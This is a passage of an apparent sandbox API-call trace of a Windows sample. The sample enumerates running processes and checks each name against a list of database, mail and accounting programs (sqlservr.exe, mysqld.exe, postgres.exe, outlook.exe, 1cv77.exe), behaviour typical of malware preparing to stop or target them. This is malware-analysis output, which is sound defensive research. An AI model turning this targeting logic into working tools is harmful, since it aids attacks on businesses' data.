lpString2="WPDBusEnum") returned -1 [0044.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.628] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x974238 | out: hHeap=0x880000) returned 1 [0044.628] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0044.631] Process32FirstW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.631] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.632] lstrlenW (lpString="System") returned 6 [0044.632] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.632] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.632] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.632] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.632] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.632] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.632] lstrlenW (lpString="smss.exe") returned 8 [0044.632] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.632] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.632] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.632] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.632] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.632] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.632] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.633] lstrlenW (lpString="csrss.exe") returned 9 [0044.633] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.633] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.633] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.633] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.633] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.633] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.633] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.633] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.633] lstrlenW (lpString="wininit.exe") returned 11 [0044.633] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.633] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.633] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.633] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.634] lstrlenW (lpString="csrss.exe") returned 9 [0044.634] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.634] lstrlenW (lpString="winlogon.exe") returned 12 [0044.634] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.635] lstrlenW (lpString="services.exe") returned 12 [0044.635] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.635] lstrlenW (lpString="lsass.exe") returned 9 [0044.635] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.635] lstrlenW (lpString="lsm.exe") returned 7 [0044.635] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.636] lstrlenW (lpString="svchost.exe") returned 11 [0044.636] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.636] lstrlenW (lpString="svchost.exe") returned 11 [0044.636] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.637] lstrlenW (lpString="svchost.exe") returned 11 [0044.637] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.637] lstrlenW (lpString="svchost.exe") returned 11 [0044.637] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.637] lstrlenW (lpString="svchost.exe") returned 11 [0044.637] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.638] lstrlenW (lpString="audiodg.exe") returned 11 [0044.638] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.638] lstrlenW (lpString="svchost.exe") returned 11 [0044.638] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.639] lstrlenW (lpString="svchost.exe") returned 11 [0044.639] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.639] lstrlenW (lpString="dwm.exe") returned 7 [0044.639] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.639] lstrlenW (lpString="explorer.exe") returned 12 [0044.639] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.640] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.640] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.640] lstrlenW (lpString="taskhost.exe") returned 12 [0044.640] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.640] lstrlenW (lpString="svchost.exe") returned 11 [0044.641] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.641] lstrlenW (lpString="taskeng.exe") returned 11 [0044.641] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0044.641] lstrlenW (lpString="judges-present.exe") returned 18 [0044.641] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0044.642] lstrlenW (lpString="physics.exe") returned 11 [0044.642] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0044.642] lstrlenW (lpString="belongs.exe") returned 11 [0044.642] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0044.642] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0044.642] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0044.643] lstrlenW (lpString="gadgets.exe") returned 11 [0044.643] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0044.643] lstrlenW (lpString="geneva.exe") returned 10 [0044.643] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0044.644] lstrlenW (lpString="elephant.exe") returned 12 [0044.644] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0044.644] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0044.644] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0044.644] lstrlenW (lpString="roger-venice.exe") returned 16 [0044.644] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0044.645] lstrlenW (lpString="cite.exe") returned 8 [0044.645] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0044.645] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0044.645] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0044.646] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0044.646] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0044.646] lstrlenW (lpString="artist_selecting.exe") returned 20 [0044.646] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0044.646] lstrlenW (lpString="poems.exe") returned 9 [0044.646] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0044.647] lstrlenW (lpString="bow.exe") returned 7 [0044.647] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0044.647] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0044.647] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0044.647] lstrlenW (lpString="businesses.exe") returned 14 [0044.647] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0044.648] lstrlenW (lpString="lucky.exe") returned 9 [0044.648] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0044.648] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0044.648] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0044.649] lstrlenW (lpString="healthmanner.exe") returned 16 [0044.649] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0044.649] lstrlenW (lpString="3dftp.exe") returned 9 [0044.649] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0044.649] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0044.649] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0044.650] lstrlenW (lpString="alftp.exe") returned 9 [0044.650] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0044.650] lstrlenW (lpString="barca.exe") returned 9 [0044.650] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0044.651] lstrlenW (lpString="bitkinex.exe") returned 12 [0044.651] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0044.651] lstrlenW (lpString="coreftp.exe") returned 11 [0044.651] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0044.651] lstrlenW (lpString="far.exe") returned 7 [0044.651] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0044.652] lstrlenW (lpString="filezilla.exe") returned 13 [0044.652] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0044.652] lstrlenW (lpString="flashfxp.exe") returned 12 [0044.652] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0044.652] lstrlenW (lpString="fling.exe") returned 9 [0044.653] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0044.653] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0044.653] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0044.653] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0044.653] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0044.769] lstrlenW (lpString="icq.exe") returned 7 [0044.800] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0044.800] lstrlenW (lpString="leechftp.exe") returned 12 [0044.800] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0044.801] lstrlenW (lpString="ncftp.exe") returned 9 [0044.801] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0044.802] lstrlenW (lpString="notepad.exe") returned 11 [0044.802] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0044.802] lstrlenW (lpString="operamail.exe") returned 13 [0044.803] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0044.803] lstrlenW (lpString="pidgin.exe") returned 10 [0044.803] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0044.804] lstrlenW (lpString="scriptftp.exe") returned 13 [0044.804] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0044.804] lstrlenW (lpString="skype.exe") returned 9 [0044.804] Process32NextW (in: hSnapshot=0x20c, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0044.805] lstrlenW (lpString="smartftp.exe") returned 12 [0044.805] Process32NextW (in: 